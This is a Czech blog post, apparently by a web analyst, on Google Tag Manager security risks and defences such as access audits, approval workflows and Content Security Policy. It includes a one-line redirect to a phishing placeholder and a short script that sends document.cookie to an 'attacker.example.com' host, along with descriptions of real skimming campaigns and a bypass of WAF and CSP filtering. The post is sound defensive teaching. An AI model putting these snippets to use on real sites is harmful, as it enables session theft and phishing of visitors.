{"id":979,"date":"2026-05-06T11:45:38","date_gmt":"2026-05-06T09:45:38","guid":{"rendered":"https:\/\/www.sabatka.net\/cs\/?p=979"},"modified":"2026-05-06T11:45:40","modified_gmt":"2026-05-06T09:45:40","slug":"gtm-security-risks","status":"publish","type":"post","link":"https:\/\/www.sabatka.net\/cs\/gtm-security-risks\/","title":{"rendered":"Jak rozb\u00edt web s pomoc\u00ed Google Tag Manager"},"content":{"rendered":"\n<p>Google Tag Manager je na v\u00edce ne\u017e 30 milionech web\u016f. Je to jeden z nejroz\u0161\u00ed\u0159en\u011bj\u0161\u00edch n\u00e1stroj\u016f pro spr\u00e1vu m\u011b\u0159ic\u00edch a marketingov\u00fdch skript\u016f. Marke\u0165\u00e1ci ho miluj\u00ed \u2014 tag p\u0159id\u00e1te za 2 minuty, bez v\u00fdvoj\u00e1\u0159e, bez deploye.<\/p>\n\n\n\n<p>Jen\u017ee GTM je ve sv\u00e9 podstat\u011b <strong>script injector s grafick\u00fdm rozhran\u00edm<\/strong>.<\/p>\n\n\n\n<p>Co to znamen\u00e1?<\/p>\n\n\n\n<p>Ka\u017ed\u00fd, kdo m\u00e1 pr\u00e1vo publikovat v kontejneru, m\u016f\u017ee na web vlo\u017eit libovoln\u00fd JavaScript. Bez kontroly k\u00f3du. A prohl\u00ed\u017ee\u010d n\u00e1v\u0161t\u011bvn\u00edka ho poslu\u0161n\u011b spust\u00ed.<\/p>\n\n\n\n<p>Tohle nen\u00ed teoretick\u00e9 riziko. Za svou kari\u00e9ru analytika jsem vid\u011bl lecos \u2014 od rozbit\u00e9ho m\u011b\u0159en\u00ed, nefunk\u010dn\u00edho webu po re\u00e1ln\u00e9 bezpe\u010dnostn\u00ed incidenty. Tenhle \u010dl\u00e1nek ukazuje, co v\u0161echno se m\u016f\u017ee st\u00e1t. A jak tomu p\u0159edej\u00edt.<\/p>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button scroll_to_subscribe\"><a class=\"wp-block-button__link wp-element-button\" href=\"#\">Chci odeb\u00edrat novinky<\/a><\/div>\n\n\n\n<div class=\"wp-block-button linkedinShare\"><a class=\"wp-block-button__link wp-element-button\">Sd\u00edlet na LinkedIN<\/a><\/div>\n<\/div>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Nedbalost \u2014 jak rozb\u00edt web omylem<\/h2>\n\n\n\n<p>Probl\u00e9my s GTM typicky nevzniknou \u00fatokem. Vzniknou t\u00edm, \u017ee n\u011bkdo p\u0159id\u00e1 tag a neotestuje ho po\u0159\u00e1dn\u011b. Nebo nedomysl\u00ed v\u0161echny mo\u017enosti.<\/p>\n\n\n\n<p>Takov\u00fdch probl\u00e9m\u016f je n\u011bkolik typ\u016f.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">JavaScript konflikty<\/h3>\n\n\n\n<p>GTM tagy b\u011b\u017e\u00ed ve stejn\u00e9m kontextu jako zbytek str\u00e1nky. Snadno tak v\u00fdvoj\u00e1\u0159\u016fm m\u016f\u017eete p\u0159epsat jejich vylad\u011bnou str\u00e1nku. Typick\u00e9 probl\u00e9my:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Skript p\u0159ep\u00ed\u0161e glob\u00e1ln\u00ed prom\u011bnnou nebo prototyp, na kter\u00e9m z\u00e1vis\u00ed jin\u00fd k\u00f3d na str\u00e1nce<\/li>\n\n\n\n<li>Tag vol\u00e1 <code>stopPropagation()<\/code> nebo <code>preventDefault()<\/code> a zablokuje eventy pro ostatn\u00ed handlery<\/li>\n\n\n\n<li>T\u011b\u017ek\u00fd skript (heatmapa, session recording) blokuje hlavn\u00ed vl\u00e1kno a str\u00e1nka p\u0159estane reagovat<\/li>\n\n\n\n<li>Tag modifikuje DOM elementy, se kter\u00fdmi pracuje framework str\u00e1nky (React, Vue)<\/li>\n<\/ul>\n\n\n\n<p>Pravidlo: ka\u017ed\u00fd nov\u00fd tag otestujte na re\u00e1ln\u00e9m webu \u2014 ne jen v GTM Preview mode, ale i v kontextu cel\u00e9ho frameworku str\u00e1nky.<\/p>\n\n\n\n<p>Sta\u010d\u00ed jedna \u0161patn\u011b nastaven\u00e1 podm\u00ednka triggeru a m\u00e1te na webu nekone\u010dnou smy\u010dku.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Tich\u00e1 ztr\u00e1ta dat<\/h3>\n\n\n\n<p>Tag p\u0159estane fungovat \u2014 vendor zm\u011bn\u00ed dom\u00e9nu sv\u00e9ho skriptu, skript spadne na chybu, CSP ho zablokuje. Ale proto\u017ee GTM tagy selh\u00e1vaj\u00ed ti\u0161e (\u017e\u00e1dn\u00e9 chybov\u00e9 hl\u00e1\u0161en\u00ed pro u\u017eivatele), nikdo si toho nev\u0161imne. Zjist\u00edte to za t\u00fddny, kdy\u017e se pod\u00edv\u00e1te na data \u2014 a uvid\u00edte d\u00edru, kterou nedopln\u00edte.<\/p>\n\n\n\n<p>Tohle je z pohledu byznysu nejdra\u017e\u0161\u00ed typ chyby. Rozhodujete na z\u00e1klad\u011b dat, kter\u00e1 neexistuj\u00ed. A ani o tom nev\u00edte.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Nekone\u010dn\u00e9 cyklen\u00ed<\/h3>\n\n\n\n<p>P\u0159edstavte si sc\u00e9n\u00e1\u0159: nastav\u00edte tag pro m\u011b\u0159en\u00ed JavaScript chyb. Tag se spust\u00ed p\u0159i chyb\u011b. Jen\u017ee tag s\u00e1m vyvol\u00e1 chybu (t\u0159eba kv\u016fli blokovan\u00e9 dom\u00e9n\u011b). Ta spust\u00ed tag znovu. A znovu. A znovu \u2014 dokud prohl\u00ed\u017ee\u010d nezamrzne nebo nepadne cel\u00e1 z\u00e1lo\u017eka.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">P\u0159evzet\u00ed mrtv\u00e9 dom\u00e9ny \u2014 p\u0159\u00edb\u011bh z praxe<\/h3>\n\n\n\n<p>\u0158e\u0161il jsem p\u0159\u00edpad, kdy klient vlo\u017eil do GTM skript od men\u0161\u00ed analytick\u00e9 platformy. Platforma po \u010dase skon\u010dila a pustila svou dom\u00e9nu. N\u011bkdo dom\u00e9nu koupil a za\u010dal z n\u00ed serv\u00edrovat vlastn\u00ed \u0161kodliv\u00e9 skripty.<\/p>\n\n\n\n<p>V\u00fdsledek: GTM na klientov\u011b webu st\u00e1le na\u010d\u00edtal tag odkazuj\u00edc\u00ed na tu dom\u00e9nu. Prohl\u00ed\u017ee\u010de n\u00e1v\u0161t\u011bvn\u00edk\u016f si st\u00e1hly a spustily k\u00f3d od \u00fato\u010dn\u00edka \u2014 p\u0159es legitimn\u00ed GTM kontejner, na legitimn\u00edm webu.<\/p>\n\n\n\n<p>Nikdo si toho nev\u0161iml asi m\u011bs\u00edc. Tag byl v kontejneru \u201eodjak\u017eiva&#8220;, nikdo nev\u011bd\u011bl, co p\u0159esn\u011b d\u011bl\u00e1, a nikdo nekontroloval, jestli ta platforma je\u0161t\u011b existuje.<\/p>\n\n\n\n<p>Po m\u011bs\u00edci skript za\u010dal p\u0159esm\u011brov\u00e1vat web na \u00fapln\u011b jinou dom\u00e9nu. A za\u010dala panika.<\/p>\n\n\n\n<p><strong>Pou\u010den\u00ed:<\/strong> Mrtv\u00e9 tagy v GTM nejsou jen nepo\u0159\u00e1dek. Jsou bezpe\u010dnostn\u00ed riziko. Ka\u017ed\u00fd skript t\u0159et\u00ed strany je z\u00e1vislost \u2014 a z\u00e1vislosti um\u00edraj\u00ed.<\/p>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">\u00damysl \u2014 co m\u016f\u017ee ud\u011blat n\u011bkdo s p\u0159\u00edstupem do GTM<\/h2>\n\n\n\n<p>V\u0161echno v\u00fd\u0161e vzniklo nedbalost\u00ed. Te\u010f se pod\u00edv\u00e1me, co se stane, kdy\u017e n\u011bkdo <strong>chce<\/strong> zp\u016fsobit \u0161kodu. Sta\u010d\u00ed mu Publish pr\u00e1vo v GTM kontejneru a Custom HTML tag.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">P\u0159esm\u011brov\u00e1n\u00ed n\u00e1v\u0161t\u011bvn\u00edk\u016f<\/h3>\n\n\n\n<p>Nejjednodu\u0161\u0161\u00ed \u00fatok \u2014 jeden \u0159\u00e1dek JavaScriptu:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>window.location.href = '<https:\/\/phishing-site.example.com\/>';<\/code><\/pre>\n\n\n\n<p>V\u0161ichni n\u00e1v\u0161t\u011bvn\u00edci webu okam\u017eit\u011b skon\u010d\u00ed na \u00fato\u010dn\u00edkov\u011b str\u00e1nce. Phishing, malware download, cokoliv.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">\u00daprava obsahu str\u00e1nky<\/h3>\n\n\n\n<p>\u00dato\u010dn\u00edk m\u016f\u017ee injektovat do str\u00e1nky libovoln\u00fd HTML \u2014 obr\u00e1zky, fale\u0161n\u00e9 formul\u00e1\u0159e, fale\u0161n\u00e9 platebn\u00ed br\u00e1ny. N\u00e1v\u0161t\u011bvn\u00edk nepozn\u00e1 rozd\u00edl, proto\u017ee je po\u0159\u00e1d na legitimn\u00ed dom\u00e9n\u011b.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Kr\u00e1de\u017e session a cookies<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>var img = document.createElement('img');\nimg.src = '<https:\/\/attacker.example.com\/steal?c=>' \n  + encodeURIComponent(document.cookie);\ndocument.body.appendChild(img);\n<\/code><\/pre>\n\n\n\n<p>Neviditeln\u00fd obr\u00e1zek ode\u0161le v\u0161echny cookies na \u00fato\u010dn\u00edk\u016fv server. Pokud mezi nimi je session token, \u00fato\u010dn\u00edk se p\u0159ihl\u00e1s\u00ed jako administr\u00e1tor webu \u2014 bez znalosti hesla.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Kr\u00e1de\u017ee platebn\u00edch \u00fadaj\u016f (Magecart)<\/h3>\n\n\n\n<p>Sofistikovan\u011bj\u0161\u00ed varianta: \u00fato\u010dn\u00edk p\u0159es GTM vlo\u017e\u00ed JavaScript, kter\u00fd na checkout str\u00e1nce p\u0159ekryje re\u00e1ln\u00fd platebn\u00ed formul\u00e1\u0159 fale\u0161n\u00fdm. Z\u00e1kazn\u00edk zad\u00e1 \u010d\u00edslo karty \u2014 data jdou \u00fato\u010dn\u00edkovi i legitimn\u00ed platebn\u00ed br\u00e1n\u011b. Z\u00e1kazn\u00edk nic nepozn\u00e1. Obchodn\u00edk nic nepozn\u00e1. Banka to zjist\u00ed za m\u011bs\u00edce.<\/p>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Re\u00e1ln\u00e9 \u00fatoky \u2014 ne teorie, praxe<\/h2>\n\n\n\n<p>Tohle nejsou hypotetick\u00e9 sc\u00e9n\u00e1\u0159e. Jsou to zdokumentovan\u00e9 p\u0159\u00edpady.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Magecart na Magento e-shopech (2025)<\/h3>\n\n\n\n<p>Bezpe\u010dnostn\u00ed firma <a href=\"https:\/\/thehackernews.com\/2025\/02\/hackers-exploit-google-tag-manager-to.html\" target=\"_blank\" rel=\"noopener\">Sucuri objevila malware<\/a> ukryt\u00fd v GTM kontejneru <strong>GTM-MLHK2N68<\/strong> na Magento e-shopech. Payload byl ulo\u017een\u00fd v datab\u00e1zov\u00e9 tabulce <code>cms_block.content<\/code> \u2014 Base64 enk\u00f3dovan\u00fd JavaScript, kter\u00fd vypadal jako legitimn\u00ed Google Analytics skript.<\/p>\n\n\n\n<p>Ve skute\u010dnosti fungoval jako \u0161kodliv\u00fd skript odcizuj\u00edc\u00ed platebn\u00ed \u00fadaje. Zachyt\u00e1val data z checkout formul\u00e1\u0159\u016f a pos\u00edlal je \u00fato\u010dn\u00edk\u016fm.<\/p>\n\n\n\n<p>\u010c\u00edsla od <a href=\"https:\/\/www.recordedfuture.com\/research\/threat-actors-continue-to-abuse-google-tag-manager-for-payment-card-e-skimming\" target=\"_blank\" rel=\"noopener\">Recorded Future<\/a>: <strong>165 000+ z\u00e1znam\u016f platebn\u00edch karet<\/strong> spojen\u00fdch s GTM \u00fatoky skon\u010dilo na dark webu. <strong>569 e-commerce dom\u00e9n<\/strong> infikov\u00e1no \u0161kodliv\u00fdmi skripty \u0161\u00ed\u0159en\u00fdmi p\u0159es GTM. Pr\u016fm\u011brn\u00e1 doba, ne\u017e si obchodn\u00edk v\u0161imne a probl\u00e9m oprav\u00ed: <strong>v\u00edce ne\u017e 3 m\u011bs\u00edce<\/strong>.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">GrelosGTM kampa\u0148 (2020+)<\/h3>\n\n\n\n<p>Analytici Group-IB identifikovali organizovanou skupinu GrelosGTM. \u00dato\u010dn\u00edci injektovali do zdrojov\u00e9ho k\u00f3du napaden\u00fdch web\u016f odkaz na vlastn\u00ed GTM kontejner (<strong>GTM-5SF293J<\/strong>). Ten na\u010d\u00edtal dal\u0161\u00ed stage payload z \u00fato\u010dn\u00edkova serveru.<\/p>\n\n\n\n<p>\u00datok byl z technick\u00e9ho pohledu velmi elegantn\u00ed &#8211; GTM kontejner je legitimn\u00ed slu\u017eba Google. Bezpe\u010dnostn\u00ed n\u00e1stroje ho standardn\u011b neblokuj\u00ed.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">\u00danos kontejneru \u2014 maskov\u00e1n\u00ed na v\u00edce webech<\/h3>\n\n\n\n<p>\u00dato\u010dn\u00edk ukradl GTM container ID legitimn\u00edho webu a vlo\u017eil ho na s\u00ed\u0165 spamov\u00fdch dom\u00e9n. V\u00fdsledek: analytick\u00e1 data legitimn\u00edho webu byla zkreslen\u00e1 fale\u0161n\u00fdm provozem, SEO po\u0161kozeno asociac\u00ed s toxick\u00fdmi dom\u00e9nami a obsah webu scrapov\u00e1n.<\/p>\n\n\n\n<p>Klient si toho v\u0161iml a\u017e d\u00edky varov\u00e1n\u00ed \u201eContainer quality: Needs Attention&#8220; v GTM rozhran\u00ed.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Obejit\u00ed WAF a CSP p\u0159es GTM (Raxis)<\/h3>\n\n\n\n<p>Bezpe\u010dnostn\u00ed firma <a href=\"https:\/\/raxis.com\/blog\/bypassing-waf-and-csp-with-google-tag-manager\/\" target=\"_blank\" rel=\"noopener\">Raxis demonstrovala \u00fatok<\/a> kombinuj\u00edc\u00ed XSS zranitelnost s GTM:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u00dato\u010dn\u00edk najde XSS zranitelnost na webu<\/li>\n\n\n\n<li>P\u0159es ni vlo\u017e\u00ed odkaz na <strong>vlastn\u00ed<\/strong> GTM kontejner s malicious Custom HTML tagem<\/li>\n\n\n\n<li>Payload \u017eije na <code>googletagmanager.com<\/code> \u2014 WAF ho nevid\u00ed jako hrozbu, CSP ho povol\u00ed (proto\u017ee Google je na seznamu povolen\u00fdch)<\/li>\n\n\n\n<li>\u0160kodliv\u00fd k\u00f3d se spust\u00ed v kontextu str\u00e1nky \u2014 pln\u00fd p\u0159\u00edstup ke cookies, session token\u016fm, DOM<\/li>\n<\/ol>\n\n\n\n<p>Google to uznal jako \u201ehonorable mention&#8220; v Bug Bounty programu. Opravit to nejde \u2014 je to z\u00e1m\u011brn\u011b. GTM je hostingov\u00e1 platforma pro JavaScript a Google ji provozuje z\u00e1m\u011brn\u011b.<\/p>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Kdo m\u00e1 kl\u00ed\u010de od va\u0161eho webu?<\/h2>\n\n\n\n<p>Po p\u0159e\u010dten\u00ed p\u0159edchoz\u00edch sekc\u00ed by m\u011bla b\u00fdt jasn\u00e1 jedna v\u011bc: <strong>kdo m\u00e1 Publish pr\u00e1vo v GTM, m\u00e1 de facto root p\u0159\u00edstup k va\u0161emu webu<\/strong> z pohledu toho, co vid\u00ed n\u00e1v\u0161t\u011bvn\u00edk.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">GTM role a co znamenaj\u00ed<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Administr\u00e1tor<\/strong> \u2014 pln\u00e1 kontrola, m\u016f\u017ee p\u0159idat\/odebrat lidi<\/li>\n\n\n\n<li><strong>Publish<\/strong> \u2014 m\u016f\u017ee publikovat zm\u011bny na live web. To je ta kritick\u00e1 role.<\/li>\n\n\n\n<li><strong>Approve<\/strong> \u2014 m\u016f\u017ee schv\u00e1lit zm\u011bny, ale ne publikovat (u\u017eite\u010dn\u00e9 pro schvalovac\u00ed proces)<\/li>\n\n\n\n<li><strong>Edit<\/strong> \u2014 m\u016f\u017ee m\u011bnit tagy, ale ne publikovat<\/li>\n\n\n\n<li><strong>Read<\/strong> \u2014 jen \u010dten\u00ed<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Kde b\u00fdv\u00e1 probl\u00e9m<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Agentury a freelance\u0159i<\/strong> \u2014 spolupr\u00e1ce skon\u010dila p\u0159ed rokem, p\u0159\u00edstup z\u016fstal<\/li>\n\n\n\n<li><strong>Ode\u0161l\u00ed zam\u011bstnanci<\/strong> \u2014 marke\u0165\u00e1k ode\u0161el, nikdo neodebral jeho \u00fa\u010det<\/li>\n\n\n\n<li><strong>Vendor po\u017eadavky<\/strong> \u2014 \u201edejte n\u00e1m p\u0159\u00edstup do GTM, nastav\u00edme v\u00e1m pixel&#8220;. D\u00e1te jim Publish a zapomenete.<\/li>\n\n\n\n<li><strong>Sd\u00edlen\u00e9 \u00fa\u010dty<\/strong> \u2014 jeden Google \u00fa\u010det pro cel\u00fd marketing. Kdo co publikoval? Nikdo nev\u00ed.<\/li>\n<\/ul>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Jednoduch\u00fd test<\/h3>\n\n\n\n<p>Otev\u0159ete GTM \u2192 Admin \u2192 User Management. Kolik lid\u00ed tam vid\u00edte? Kolik z nich u v\u00e1s je\u0161t\u011b pracuje? Kolik z nich re\u00e1ln\u011b pot\u0159ebuje Publish pr\u00e1vo?<\/p>\n\n\n\n<p>Pokud odpov\u011b\u010f na kteroukoli ot\u00e1zku je \u201enev\u00edm&#8220; \u2014 m\u00e1te probl\u00e9m.<\/p>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Jak se br\u00e1nit<\/h2>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">1. Audit p\u0159\u00edstup\u016f<\/h3>\n\n\n\n<p>Minim\u00e1ln\u011b jednou za kvart\u00e1l projd\u011bte seznam u\u017eivatel\u016f v GTM. Odeberte neaktivn\u00ed \u00fa\u010dty. Sni\u017ete opr\u00e1vn\u011bn\u00ed tam, kde Publish nen\u00ed pot\u0159eba.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">2. Schvalovac\u00ed proces<\/h3>\n\n\n\n<p>GTM podporuje Workspaces (i ve free verzi) a v placen\u00e9 verzi GTM 360 i form\u00e1ln\u00ed re\u017eim schvalov\u00e1n\u00ed. I bez 360 ale m\u016f\u017eete nastavit intern\u00ed pravidlo: \u017e\u00e1dn\u00fd tag nejde live bez review druh\u00e9 osoby. Ano, zpomal\u00ed to proces o hodiny. Ne, to nen\u00ed argument proti \u2014 je to argument pro.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">3. \u0160ablony m\u00edsto Custom HTML<\/h3>\n\n\n\n<p>Custom HTML tag = libovoln\u00fd JavaScript bez omezen\u00ed. \u0160ablony z Community Template Gallery b\u011b\u017e\u00ed v sandboxovan\u00e9m prost\u0159ed\u00ed s definovan\u00fdm API (<code>sendPixel<\/code>, <code>injectScript<\/code>, <code>setCookie<\/code>). Omezte Custom HTML na minimum. Ide\u00e1ln\u011b na nulu.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">4. Verzov\u00e1n\u00ed a pojmenov\u00e1n\u00ed<\/h3>\n\n\n\n<p>GTM uchov\u00e1v\u00e1 historii verz\u00ed. Pojmenujte ka\u017edou verzi srozumiteln\u011b (ne \u201ev47&#8243;, ale \u201eP\u0159id\u00e1n Meta CAPI tag \u2014 schv\u00e1lil Pavel&#8220;). P\u0159i incidentu se d\u00edky tomu vr\u00e1t\u00edte k posledn\u00ed funk\u010dn\u00ed verzi za minuty.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">5. Mrtv\u00e9 tagy = mrtv\u00e9 z\u00e1vislosti<\/h3>\n\n\n\n<p>Pravideln\u011b proch\u00e1zejte kontejner. Pokud tag odkazuje na dom\u00e9nu, kter\u00e1 neodpov\u00edd\u00e1 nebo jej\u00ed\u017e slu\u017eba u\u017e neexistuje \u2014 sma\u017ete ho. Nejen pozastavte. Sma\u017ete.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">6. Content Security Policy<\/h3>\n\n\n\n<p>HTTP hlavi\u010dka, kter\u00e1 prohl\u00ed\u017ee\u010di \u0159\u00edk\u00e1, jak\u00e9 skripty sm\u00ed na str\u00e1nce b\u011b\u017eet. Je to technicky nejsiln\u011bj\u0161\u00ed obrana \u2014 ale taky nejslo\u017eit\u011bj\u0161\u00ed na spr\u00e1vn\u00e9 nastaven\u00ed v kombinaci s GTM. <strong>Podrobn\u011b v navazuj\u00edc\u00edm \u010dl\u00e1nku (vyjde p\u0159\u00ed\u0161t\u00ed t\u00fdden).<\/strong><\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">7. Monitoring<\/h3>\n\n\n\n<p>Sledujte historii zm\u011bn GTM. Nastavte upozorn\u011bn\u00ed na nov\u00e9 verze kontejneru. Pokud m\u00e1te CSP, sledujte violation reporty \u2014 uk\u00e1\u017e\u00ed v\u00e1m, co se pokou\u0161\u00ed spustit a nem\u00e1 povolen\u00ed.<\/p>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-28f84493 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:33.33%\">\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"1024\" height=\"1024\" data-src=\"https:\/\/www.sabatka.net\/wp-content\/uploads\/2026\/04\/null-did-you-know.png\" alt=\"\" class=\"wp-image-936 lazyload\" data-srcset=\"https:\/\/www.sabatka.net\/wp-content\/uploads\/2026\/04\/null-did-you-know.png 1024w, https:\/\/www.sabatka.net\/wp-content\/uploads\/2026\/04\/null-did-you-know-300x300.png 300w, https:\/\/www.sabatka.net\/wp-content\/uploads\/2026\/04\/null-did-you-know-150x150.png 150w, https:\/\/www.sabatka.net\/wp-content\/uploads\/2026\/04\/null-did-you-know-768x768.png 768w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/1024;\" \/><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:66.66%\">\n<h3 class=\"wp-block-heading\"><strong>V\u011bdeck\u00e1 pozn\u00e1mka<\/strong><\/h3>\n\n\n\n<p>Je to jako <a href=\"https:\/\/cs.wikipedia.org\/wiki\/Technologie_dvoj%C3%ADho_u%C5%BEit%C3%AD\" target=\"_blank\" rel=\"noopener\">dual-use probl\u00e9m<\/a> \u2014 stejn\u00fd v\u00fdzkum, kter\u00fd vyv\u00edj\u00ed vakc\u00edny, m\u016f\u017ee vytvo\u0159it biologickou zbra\u0148. GTM je navr\u017een\u00fd pro spr\u00e1vu m\u011b\u0159en\u00ed. Ale v rukou \u00fato\u010dn\u00edka je to script injector s d\u016fv\u011bryhodnou adresou <code>googletagmanager.com<\/code>, kterou firewally i bezpe\u010dnostn\u00ed politiky standardn\u011b povoluj\u00ed.<\/p>\n<\/div>\n<\/div>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Z\u00e1v\u011br<\/h2>\n\n\n\n<p>GTM nen\u00ed nebezpe\u010dn\u00fd s\u00e1m o sob\u011b. Nebezpe\u010dn\u00fd je GTM bez dohledu \u2014 bez auditu p\u0159\u00edstup\u016f, bez schvalovac\u00edho procesu, bez kontroly mrtv\u00fdch tag\u016f.<\/p>\n\n\n\n<p><strong>Praktick\u00fd prvn\u00ed krok:<\/strong> otev\u0159ete GTM \u2192 Admin \u2192 User Management. Pod\u00edvejte se, kdo tam je. Kolik z t\u011bch lid\u00ed opravdu pot\u0159ebuje pr\u00e1vo publikovat k\u00f3d na v\u00e1\u0161 web?<\/p>\n\n\n\n<p>Druh\u00fd krok: projd\u011bte Custom HTML tagy. V\u00edte, co ka\u017ed\u00fd z nich d\u011bl\u00e1? Funguje je\u0161t\u011b dom\u00e9na, ze kter\u00e9 na\u010d\u00edt\u00e1 skript?<\/p>\n\n\n\n<p>A pokud chcete v\u011bd\u011bt, jak GTM a bezpe\u010dnostn\u00ed politiku webu (Content Security Policy) sm\u00ed\u0159it tak, aby m\u011b\u0159en\u00ed fungovalo a web z\u016fstal chr\u00e1n\u011bn\u00fd \u2014 \u010dt\u011bte navazuj\u00edc\u00ed \u010dl\u00e1nek &#8211; vyjde p\u0159\u00ed\u0161t\u00ed t\u00fdden.<\/p>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button scroll_to_subscribe\"><a class=\"wp-block-button__link wp-element-button\" href=\"#\">Chci odeb\u00edrat novinky<\/a><\/div>\n\n\n\n<div class=\"wp-block-button linkedinShare\"><a class=\"wp-block-button__link wp-element-button\">Sd\u00edlet na LinkedIN<\/a><\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Google Tag Manager je na v\u00edce ne\u017e 30 milionech web\u016f. Je to jeden z nejroz\u0161\u00ed\u0159en\u011bj\u0161\u00edch n\u00e1stroj\u016f pro spr\u00e1vu m\u011b\u0159ic\u00edch a marketingov\u00fdch skript\u016f. Marke\u0165\u00e1ci ho miluj\u00ed \u2014 tag p\u0159id\u00e1te za 2 minuty, bez v\u00fdvoj\u00e1\u0159e, bez deploye. Jen\u017ee GTM je ve sv\u00e9 podstat\u011b script injector s grafick\u00fdm rozhran\u00edm. Co to znamen\u00e1? Ka\u017ed\u00fd, kdo m\u00e1 pr\u00e1vo publikovat v 